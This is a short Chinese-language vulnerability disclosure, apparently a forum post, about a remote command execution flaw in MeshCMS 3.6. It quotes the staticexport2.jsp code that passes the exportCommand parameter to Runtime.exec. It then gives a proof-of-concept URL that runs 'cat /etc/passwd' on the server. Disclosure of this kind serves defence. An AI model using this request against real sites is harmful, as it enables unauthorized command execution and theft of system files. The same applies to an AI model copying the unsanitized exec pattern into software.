MeshCMS 3.6远程命令执行漏洞
version 3.6漏洞描述：
文件 staticexport2.jsp jsp的一个函数“exportCommand” 可以造成命令执行
if (!exportCommand.equals("")) {
out.println("\nexecuting: " + exportCommand);
Process process = Runtime.getRuntime().exec(exportCommand);
out.println("standard output:");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Utils.copyStream(process.getInputStream(), baos, false);
out.write(Utils.encodeHTML(baos.toString()));
baos.reset();
out.println("end of standard output\nerror output:");
Utils.copyStream(process.getErrorStream(), baos, false);
out.write(Utils.encodeHTML(baos.toString()));
int exit = process.waitFor();
out.println("end of error output\nexecution finished with exit code " +
exit);
POC:
http://127.0.0.1:8080/meshcms/meshcms/admin/staticexport2.jsp?exportBaseURL=%2Fmeshcms%2Fadmin%2Fstaticexport1.jsp&exportDir=upload&exportCheckDates=true&exportCommand=cat+%2Fetc%2Fpasswd&exportSaveConfig=true
页:
[1]